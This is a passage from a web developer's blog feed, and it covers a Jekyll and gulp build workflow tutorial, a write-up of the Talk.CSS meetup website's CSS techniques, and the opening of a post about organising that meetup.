&lt;h2&gt;Creating the Jekyll site&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Add a &lt;code&gt;Gemfile&lt;/code&gt; to the root of the project folder which contains the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;source &apos;https://rubygems.org&apos;
gem &apos;github-pages&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This ensures that the local environment matches that of GitHub, minimising issues with different gem versions and so on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate into your project folder and run &lt;code&gt;bundle install&lt;/code&gt;, which will install all the relevant gems GitHub pages needs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Spin up a new Jekyll site in the project folder. Note that the &lt;code&gt;.&lt;/code&gt; indicates the current folder you&apos;re in.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;jekyll new .
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you check the folder, it should have a bunch of files and folders, which look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PROJECT_FOLDER/
|-- _config.yml
|
|-- _includes/
|   |-- footer.html
|   |-- head.html
|   |-- header.html
|   |-- icon-github.html
|   |-- icon-twitter.html
|   |-- icon-github.svg
|   |-- icon-twitter.svg
|
|-- _layouts/
|   |-- default.html
|   |-- page.html
|   |-- post.html
|
|-- _posts/
|   |-- 2014-11-14-welcome-to-jekyll.markdown
|
|-- _sass/
|   |-- _base.scss
|   |-- _layout.scss
|   |-- _syntax-highlighting.scss
|
|-- css/
|   |-- main.scss
|
|-- index.html
|-- about.md
|-- .gitignore
|-- about.md
|-- feed.xml
`-- _config.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are that rare human being that read my earlier post on &lt;a href=&quot;&quot;&gt;how I got started with Jekyll and GitHub Pages&lt;/a&gt;, you&apos;ll realise that the folder structure is different now. That&apos;s because Jekyll has been updated to v3.0.3 (as of time of writing).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At this point, you can do whatever you want because you already have all the files needed to start off building your site. And here&apos;s where &lt;strong&gt;my process&lt;/strong&gt; kicks in.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The gulp-y bits&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Remove all existing Sass files and replace with custom Sass starter files. If you want to use the existing Jekyll theme as a base to work off from, that&apos;s great too.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy over the &lt;code&gt;package.json&lt;/code&gt; and &lt;code&gt;gulpfile.js&lt;/code&gt; for Jekyll projects. Update the details like name and description as required. (I have a different set of these files depending on the type of project I&apos;m building)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;name&amp;quot;: &amp;quot;singaporecss.github.io&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;1.0.0&amp;quot;,
  &amp;quot;description&amp;quot;: &amp;quot;Dependencies for Talk.CSS website&amp;quot;,
  &amp;quot;main&amp;quot;: &amp;quot;gulpfile.js&amp;quot;,
  &amp;quot;scripts&amp;quot;: {
    &amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
  },
  &amp;quot;repository&amp;quot;: {
    &amp;quot;type&amp;quot;: &amp;quot;git&amp;quot;,
    &amp;quot;url&amp;quot;: &amp;quot;git+https://github.com/SingaporeCSS/singaporecss.github.io.git&amp;quot;
  },
  &amp;quot;author&amp;quot;: &amp;quot;huijng &amp;lt;1461498+huijing@users.noreply.github.com&amp;gt;&amp;quot;,
  &amp;quot;license&amp;quot;: &amp;quot;ISC&amp;quot;,
  &amp;quot;bugs&amp;quot;: {
    &amp;quot;url&amp;quot;: &amp;quot;https://github.com/SingaporeCSS/singaporecss.github.io/issues&amp;quot;
  },
  &amp;quot;homepage&amp;quot;: &amp;quot;https://github.com/SingaporeCSS/singaporecss.github.io#readme&amp;quot;,
  &amp;quot;devDependencies&amp;quot;: {
    &amp;quot;browser-sync&amp;quot;: &amp;quot;^2.11.2&amp;quot;,
    &amp;quot;gulp&amp;quot;: &amp;quot;^3.9.1&amp;quot;,
    &amp;quot;gulp-autoprefixer&amp;quot;: &amp;quot;^3.1.0&amp;quot;,
    &amp;quot;gulp-concat&amp;quot;: &amp;quot;^2.6.0&amp;quot;,
    &amp;quot;gulp-cssnano&amp;quot;: &amp;quot;^2.1.1&amp;quot;,
    &amp;quot;gulp-sass&amp;quot;: &amp;quot;^2.2.0&amp;quot;,
    &amp;quot;gulp-uglify&amp;quot;: &amp;quot;^1.5.3&amp;quot;,
    &amp;quot;susy&amp;quot;: &amp;quot;^2.2.12&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Each task in the &lt;code&gt;gulpfile.js&lt;/code&gt; has a specific function. These are the tasks I have in my Jekyll sites &lt;code&gt;gulpfile.js&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Declare all the plugins required for the project at the top of the file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var gulp = require(&apos;gulp&apos;);
var browserSync = require(&apos;browser-sync&apos;);
var sass = require(&apos;gulp-sass&apos;);
var prefix = require(&apos;gulp-autoprefixer&apos;);
var cssnano = require(&apos;gulp-cssnano&apos;);
var concat = require(&apos;gulp-concat&apos;);
var uglify = require(&apos;gulp-uglify&apos;);
var cp = require(&apos;child_process&apos;);&amp;amp;#10;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add indicator messages for when build tasks are running (completely optional)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var messages = {
  jekyllDev: &apos;&amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;Running:&amp;lt;/span&amp;gt; $ jekyll build for dev&apos;,
  jekyllProd: &apos;&amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;Running:&amp;lt;/span&amp;gt; $ jekyll build for prod&apos;,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build the Jekyll Site in development mode&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;jekyll-dev&amp;quot;, function (done) {
  browserSync.notify(messages.jekyllDev);
  return cp
    .spawn(&amp;quot;jekyll&amp;quot;, [&amp;quot;build&amp;quot;, &amp;quot;--drafts&amp;quot;, &amp;quot;--config&amp;quot;, &amp;quot;_config.yml,_config_dev.yml&amp;quot;], {
      stdio: &amp;quot;inherit&amp;quot;,
    })
    .on(&amp;quot;close&amp;quot;, done);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rebuild Jekyll &amp;amp; reload the page&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;jekyll-rebuild&amp;quot;, [&amp;quot;jekyll-dev&amp;quot;], function () {
  browserSync.reload();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wait for jekyll-dev task to complete, then launch the Server&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;browser-sync&amp;quot;, [&amp;quot;sass&amp;quot;, &amp;quot;scripts&amp;quot;, &amp;quot;jekyll-dev&amp;quot;], function () {
  browserSync.init({
    server: &amp;quot;_site&amp;quot;,
    port: 1234,
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compile files from &lt;em&gt;_scss&lt;/em&gt; folder into both &lt;em&gt;_site/css&lt;/em&gt; folder (for live injecting) and &lt;em&gt;site&lt;/em&gt; folder (for future Jekyll builds)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;sass&amp;quot;, function () {
  return gulp
    .src(&amp;quot;_sass/styles.scss&amp;quot;)
    .pipe(
      sass({
        includePaths: [&amp;quot;scss&amp;quot;],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix([&amp;quot;last 15 versions&amp;quot;, &amp;quot;&amp;gt; 1%&amp;quot;, &amp;quot;ie 8&amp;quot;, &amp;quot;ie 7&amp;quot;], { cascade: true }))
    .pipe(gulp.dest(&amp;quot;_site/css&amp;quot;))
    .pipe(browserSync.reload({ stream: true }))
    .pipe(gulp.dest(&amp;quot;css&amp;quot;));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compile files from &lt;em&gt;_js/lib&lt;/em&gt; folder into both &lt;em&gt;_site/js&lt;/em&gt; folder (for live injecting) and &lt;em&gt;site&lt;/em&gt; folder (for future Jekyll builds)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;scripts&amp;quot;, function () {
  return gulp
    .src([&amp;quot;_js/lib/*.js&amp;quot;])
    .pipe(concat(&amp;quot;scripts.js&amp;quot;))
    .pipe(gulp.dest(&amp;quot;_site/js&amp;quot;))
    .pipe(browserSync.reload({ stream: true }))
    .pipe(gulp.dest(&amp;quot;js&amp;quot;));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Watch scss files for changes &amp;amp; recompile. Watch html/md files, run jekyll &amp;amp; reload BrowserSync&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;watch&amp;quot;, function () {
  gulp.watch([&amp;quot;_sass/**/*.scss&amp;quot;, &amp;quot;_sass/*.scss&amp;quot;], [&amp;quot;sass&amp;quot;]);
  gulp.watch([&amp;quot;_js/**/*.js&amp;quot;], [&amp;quot;scripts&amp;quot;]);
  gulp.watch(
    [
      &amp;quot;index.html&amp;quot;,
      &amp;quot;_layouts/*.html&amp;quot;,
      &amp;quot;_posts/*&amp;quot;,
      &amp;quot;_includes/*.html&amp;quot;,
      &amp;quot;_drafts/*&amp;quot;,
      &amp;quot;**/*.html&amp;quot;,
    ],
    [&amp;quot;jekyll-rebuild&amp;quot;]
  );
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build the Jekyll Site in production mode&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;jekyll-prod&amp;quot;, function (done) {
  browserSync.notify(messages.jekyllProd);
  return cp.spawn(&amp;quot;jekyll&amp;quot;, [&amp;quot;build&amp;quot;], { stdio: &amp;quot;inherit&amp;quot; }).on(&amp;quot;close&amp;quot;, done);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Identical Sass compilation task to development mode, with an additional minification step thrown in using &lt;em&gt;cssnano&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;sass-prod&amp;quot;, function () {
  return gulp
    .src(&amp;quot;_sass/styles.scss&amp;quot;)
    .pipe(
      sass({
        includePaths: [&amp;quot;scss&amp;quot;],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix([&amp;quot;last 15 versions&amp;quot;, &amp;quot;&amp;gt; 1%&amp;quot;, &amp;quot;ie 8&amp;quot;, &amp;quot;ie 7&amp;quot;], { cascade: true }))
    .pipe(cssnano())
    .pipe(gulp.dest(&amp;quot;_site/css&amp;quot;))
    .pipe(gulp.dest(&amp;quot;css&amp;quot;));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Identical JavaScript compilation task to development mode, with an additional minification step thrown in using &lt;em&gt;uglify&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;scripts-prod&amp;quot;, function () {
  return gulp
    .src([&amp;quot;_js/lib/*.js&amp;quot;])
    .pipe(concat(&amp;quot;scripts.js&amp;quot;))
    .pipe(uglify())
    .pipe(gulp.dest(&amp;quot;_site/js&amp;quot;))
    .pipe(gulp.dest(&amp;quot;js&amp;quot;));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Default task, running just &lt;code&gt;gulp&lt;/code&gt; will compile the sass, compile the Jekyll site, launch BrowserSync &amp;amp; watch files.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;default&amp;quot;, [&amp;quot;browser-sync&amp;quot;, &amp;quot;watch&amp;quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build task, run using &lt;code&gt;gulp build&lt;/code&gt; to compile Sass and JavaScript ready for deployment.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;build&amp;quot;, [&amp;quot;scripts-prod&amp;quot;, &amp;quot;sass-prod&amp;quot;, &amp;quot;jekyll-prod&amp;quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run &lt;code&gt;npm install&lt;/code&gt; to install all the required node modules, then run &lt;code&gt;gulp&lt;/code&gt; to spin up the BrowserSync server and start building your site with the advantage of live reload whenever you save your working files. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Disclaimer: I&apos;m pretty sure lots of people have much better workflows that the one outlined above. I know someone who uses just npm scripts to do something similar. Unfortunately, I&apos;m not at that level of ninja yet. But you&apos;d like to suggest improvements, I&apos;d love to hear them.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>The one on the cutting edge</title><link>https://chenhuijing.com/blog/the-one-on-the-cutting-edge/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-on-the-cutting-edge/</guid><description>If you&apos;ve been following along my latest exploits (though I doubt anyone is), you may know that I&apos;m the co-organiser of Talk.CSS, the first CSS-centric meet-up…</description><pubDate>Thu, 31 Mar 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you&apos;ve been following along my latest exploits (though I doubt anyone is), you may know that I&apos;m the co-organiser of &lt;a href=&quot;http://singaporecss.github.io&quot;&gt;Talk.CSS&lt;/a&gt;, the first CSS-centric &lt;a href=&quot;http://www.meetup.com/SingaporeCSS/&quot;&gt;meet-up group&lt;/a&gt; in Singapore. We&apos;ve been in existence for around 5 months now and some time last month I thought it&apos;d be a good idea to build a website for our little meet-up group.&lt;/p&gt;
&lt;p&gt;Sort of a place where people can find out more about us, and check out what happened during our previous meet-ups. Okay fine, it was an excuse for me to build another website, but with the freedom to try all sorts of new technologies.&lt;/p&gt;
&lt;p&gt;Since we&apos;re a CSS-centric meet-up, the website must have some CSS-related mojo going on, right? (Just kidding, no voodoo involved, just cool code). I&apos;m one of those people who still uses an RSS feed reader. Between that and Twitter, I come across many interesting CSS articles every day. And this website turned out to be the perfect playground for me to try out a lot of the things I read about.&lt;/p&gt;
&lt;h2&gt;Basic stuff&lt;/h2&gt;
&lt;p&gt;I&apos;ve become pretty fond of &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt; to spin up simple websites these days. If you haven&apos;t heard of Jekyll before, it&apos;s just one of countless static site generators out there on the interwebs. Web trends ebb and flow, so maybe this static site generator craze will die out soon, but as long as it suits my requirements, who cares?&lt;/p&gt;
&lt;p&gt;Anyway, if you&apos;re curious, &lt;a href=&quot;https://www.staticgen.com/&quot;&gt;StaticGen&lt;/a&gt; lists all the open-source static site generators out there by GitHub stars. So the site is built on Jekyll, and hosted on GitHub pages, because we&apos;re too poor for paid hosting. Nor did we have the funds to purchase a domain name. Life. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re interested in my Jekyll site workflow, check out &lt;a href=&quot;/blog/gulp-jekyll-github/&quot;&gt;this post&lt;/a&gt; which covers all the steps from setting up the repository to the gulp-run workflow.&lt;/p&gt;
&lt;p&gt;I don&apos;t know about you, but I&apos;m one of those people who can spend hours happily searching for a font that feels right. &lt;a href=&quot;http://abduzeedo.com/&quot;&gt;Abduzeedo&apos;s&lt;/a&gt; &lt;a href=&quot;http://abduzeedo.com/tags/ffff&quot;&gt;Friday Fresh Free Font&lt;/a&gt; segment has a lot of solid fonts. There are also those ever-so-popular listicle-style posts which feature new and noteworthy fonts.&lt;/p&gt;
&lt;p&gt;I originally wanted to use &lt;a href=&quot;https://www.behance.net/gallery/19532783/AhamonoMonospaced&quot;&gt;Ahamono&lt;/a&gt; but the kerning didn&apos;t feel right on the body copy, and the stylised descenders looked a bit odd. I eventually settled for &lt;a href=&quot;http://sourcefoundry.org/hack/&quot;&gt;Hack&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Fun stuff&lt;/h2&gt;
&lt;h3&gt;CSS variables&lt;/h3&gt;
&lt;p&gt;One of the articles I read and found fascinating was &lt;a href=&quot;http://philipwalton.com/articles/why-im-excited-about-native-css-variables/&quot;&gt;Why I&apos;m Excited About Native CSS Variables&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/philwalton&quot;&gt;Philip Walton&lt;/a&gt;. Seriously, you should follow this man. But I digress, point is, I arbitrarily decided this site should use CSS variables, at least for colours. What could possibly go wrong? Thing is, I like having my colours in Sass maps. Hmmmm... How to get both to play nice?&lt;/p&gt;
&lt;p&gt;Then I remembered another article I read: &lt;a href=&quot;http://codepen.io/jakealbaugh/post/css4-variables-and-sass&quot;&gt;CSS4 variables and SASS&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/jake_albaugh&quot;&gt;Jake Albaugh&lt;/a&gt;. The word awesome does not do this article enough justice. Based on that article, I simply had to tweak my existing colour function to look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@function color($color-name) {
  @return var(--#{$color-name}-color, map-get($colours, $color-name));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My colours map didn&apos;t need to be touched but they would be used to generate my CSS colour variable declarations.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;// Sass map for colours
$colours: (
  main: #1572b6,
  secondary: #33a9dc,
  border: #e8e8e8,
  shadow: rgba(0, 0, 0, 0.3),
  text: #110,
  bg: #fafaff,
);

// Loop to generate colour variables
:root {
  @each $name, $colour in $colours {
    --#{$name}-colour: $colour;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS variables are &lt;strong&gt;not&lt;/strong&gt; supported by Internet Explorer or Edge, and was only recently supported by Chrome (in 49) and Safari (in 9.1). So, fallbacks to the rescue. A simple &lt;code&gt;map-get&lt;/code&gt; would suffice. Yes, it&apos;s extra code, but that&apos;s the trade-off when we play with the new and shiny.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;background-color: map-get($colours, bg);
background-color: color(bg);
color: map-get($colours, text);
color: color(text);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, I couldn&apos;t solve the issue with using Sass colour functions, as they still do not recognise my CSS variables as colours. Since that was the case, I tossed the plan to use darken as my hover effect on links.&lt;/p&gt;
&lt;h3&gt;Font-weight on hover trick&lt;/h3&gt;
&lt;p&gt;Instead I used a technique I recently learned from reading &lt;a href=&quot;http://www.sitepoint.com/quick-tip-fixing-font-weight-problem-hover-states/&quot;&gt;Quick Tip: Fixing the font-weight Problem on Hover States&lt;/a&gt; by &lt;a href=&quot;http://georgemartsoukos.com/&quot;&gt;George Martsoukos&lt;/a&gt;. The article suggested using the &lt;code&gt;text-shadow&lt;/code&gt; property to simulate the effect of increasing the &lt;code&gt;font-weight&lt;/code&gt; on hover, and I think it works fairly well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;a {
  color: map-get($colours, main);
  color: color(main);
  transition: all 0.2s;

  :hover {
    text-shadow: 0 0 0.35px map-get($colours, main), 0 0 0.35px map-get($colours, main);
    text-shadow: 0 0 0.35px color(main), 0 0 0.35px color(main);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Chromatic font&lt;/h3&gt;
&lt;p&gt;Earlier in March, &lt;a href=&quot;https://twitter.com/pixelambacht&quot;&gt;Roel Nieskens&lt;/a&gt; released &lt;a href=&quot;https://bixacolor.com/&quot;&gt;Bixa Color&lt;/a&gt;, the first chromatic webfont as a collaboration with &lt;a href=&quot;http://www.novotypo.nl/&quot;&gt;Novo Typo&lt;/a&gt;. Ever since I heard &lt;a href=&quot;https://twitter.com/svgeesus&quot;&gt;Chris Lilley&lt;/a&gt; (another man you really should follow) talk about &lt;a href=&quot;https://www.youtube.com/watch?v=Mho5DIT6MWM&quot;&gt;webfonts at CSSConf.Asia&lt;/a&gt; last year, I was intrigued by the concept of chromatic fonts. Bixa Color is definitely a display font, so I just used it for the site title. Right now it&apos;s only viewable on Firefox, but the built-in fallback (black) works on every other browser.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;For the benefit of people without Firefox.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talk-css/bixa.jpg&quot;
    srcset=&quot;/images/posts/talk-css/bixa@2x.jpg 2x&quot;
    alt=&quot;Bixa Color font&quot;
  /&gt;
&lt;/figure&gt;
&lt;h3&gt;Flexbox&lt;/h3&gt;
&lt;p&gt;This site is not complicated. I could probably get away with almost no layout at all, but some things still need to fall in line. Might as well throw in some flexbox, right? TL:DR is, flexbox plus media queries = win! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Look at those beautiful faces.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talk-css/flexbox.jpg&quot;
    srcset=&quot;/images/posts/talk-css/flexbox@2x.jpg 2x&quot;
    alt=&quot;3 column grid&quot;
  /&gt;
&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.o-flex {
  display: flex;
  flex-flow: row wrap;
  justify-content: space-between;
}

.o-flex3__item {
  flex: 0 0 100%;

  @include mappy-bp(small medium) {
    flex: 0 0 span(6 of 12);
  }

  @include mappy-bp(medium) {
    flex: 0 0 span(4 of 12);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Styling broken images&lt;/h3&gt;
&lt;p&gt;Another article that was making the rounds was an article by brilliant Nigerian developer &lt;a href=&quot;https://twitter.com/ireaderinokun&quot;&gt;Ire Aderinokun&lt;/a&gt;, who writes a blog called &lt;a href=&quot;http://bitsofco.de/&quot;&gt;bitsofcode&lt;/a&gt;. It covered the technique of &lt;a href=&quot;http://bitsofco.de/styling-broken-images/&quot;&gt;styling broken images&lt;/a&gt; by making use of pseudo-elements &lt;code&gt;:before&lt;/code&gt; and &lt;code&gt;:after&lt;/code&gt; and how they work with the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;First point, we can style the alternative text by applying typography-related properties to the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element. Also, the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element is a replaced element. Remember the &lt;code&gt;src&lt;/code&gt; attribute? The image&apos;s appearance and dimensions are controlled by an external source, hence pseudo-elements will not apply when the image is loaded. But when the image is broken, it&apos;s &lt;strong&gt;not&lt;/strong&gt; loaded, so pseudo-elements can be rendered.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;So you screwed up and broke your images. Pre-emptive styling ftw!&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talk-css/broken-image.jpg&quot;
    srcset=&quot;/images/posts/talk-css/broken-image@2x.jpg 2x&quot;
    alt=&quot;Styled broken image&quot;
  /&gt;
&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.c-video__img {
  display: block;
  line-height: 1.5;
  min-height: 9em;
  position: relative;
  width: 100%;
  @include mappy-bp(medium) {
    display: inline-block;
    vertical-align: top;
    width: 16em;
  }

  &amp;amp;::before {
    content: &amp;quot;&amp;quot;;
    display: block;
    min-height: 9em;
  }

  &amp;amp;::after {
    content: attr(alt) &amp;quot;, image WIP, click to watch video&amp;quot;;
    display: block;
    padding: 0.5em 1em;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: map-get($colours, secondary);
    background-color: color(secondary);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was a really fun project because I got to play with all the new and shiny stuff, as well as try out interesting techniques all these rockstar developers came up with. Organising Talk.CSS has been a pretty fruitful experience thus far. We&apos;re still learning as we go, and hopefully we can continue to grow interest for CSS amongst the Singapore developer community moving forward.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://philipwalton.com/articles/why-im-excited-about-native-css-variables/&quot;&gt;Why I’m Excited About Native CSS Variables&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/philwalton&quot;&gt;Philip Walton&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://codepen.io/jakealbaugh/post/css4-variables-and-sass&quot;&gt;CSS4 variables and SASS&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/jake_albaugh&quot;&gt;Jake Albaugh&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.sitepoint.com/quick-tip-fixing-font-weight-problem-hover-states/&quot;&gt;Quick Tip: Fixing the font-weight Problem on Hover States&lt;/a&gt; by &lt;a href=&quot;http://georgemartsoukos.com/&quot;&gt;George Martsoukos&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://pixelambacht.nl/2016/building-bixa-color/&quot;&gt;Building Bixa Color, a color font for the web&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/pixelambacht&quot;&gt;Roel Nieskens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bitsofco.de/styling-broken-images/&quot;&gt;Styling Broken Images&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/ireaderinokun&quot;&gt;Ire Aderinokun&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Thoughts about organising Talk.CSS</title><link>https://chenhuijing.com/blog/organising-meetups/</link><guid isPermaLink="true">https://chenhuijing.com/blog/organising-meetups/</guid><description>As I write this, we are on the cusp of our third Talk.CSS meet-up. Talk.CSS is Singapore&apos;s first CSS-centric meet-up and was born on a random Wednesday…</description><pubDate>Mon, 29 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As I write this, we are on the cusp of our third Talk.CSS meet-up. Talk.CSS is Singapore&apos;s first CSS-centric meet-up and was born on a random Wednesday afternoon (October 26, 2015 to be exact) in our local digital watering hole, the &lt;a href=&quot;http://kopijs.org/&quot;&gt;KopiJS&lt;/a&gt; slack channel.&lt;/p&gt;
&lt;p&gt;Within the short span of four hours, we had a GitHub organisation, a &lt;a href=&quot;http://Meetup.com&quot;&gt;Meetup.com&lt;/a&gt; account, a logo and a venue for the inaugural Talk.CSS session. Anyone who knows me knows that I love CSS. Love with infinite &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;s. So when Chris Lienert asked if I wanted to be a co-organiser for the first local CSS-centric meet-up, I said yes without a second thought.&lt;/p&gt;
&lt;h2&gt;Stay a while and listen...&lt;/h2&gt;
&lt;p&gt;+20 to you if you caught the reference. I&apos;ve been writing HTML and CSS for around two and half years now, and JavaScript for about a year. The general sentiment among the developers I&apos;ve met with regards to CSS is either indifference, or mild annoyance.&lt;/p&gt;
&lt;p&gt;Front-end development covers a very wide spectrum. There are those JavaScript wizards who create web applications in their sleep, there are those who create HTML and CSS prototypes as fast as designers can in Photoshop.&lt;/p&gt;
&lt;p&gt;My web development journey began at a very opportune time, it was the time when CSS had become robust enough to do a lot of things that weren&apos;t possible before without using JavaScript. I picked up all my web development skills working on client projects, which was a good thing, because it forced me to really get things right because these were paying customers. HTML and CSS was something that came very naturally to me, but JavaScript was harder for me to grasp.&lt;/p&gt;
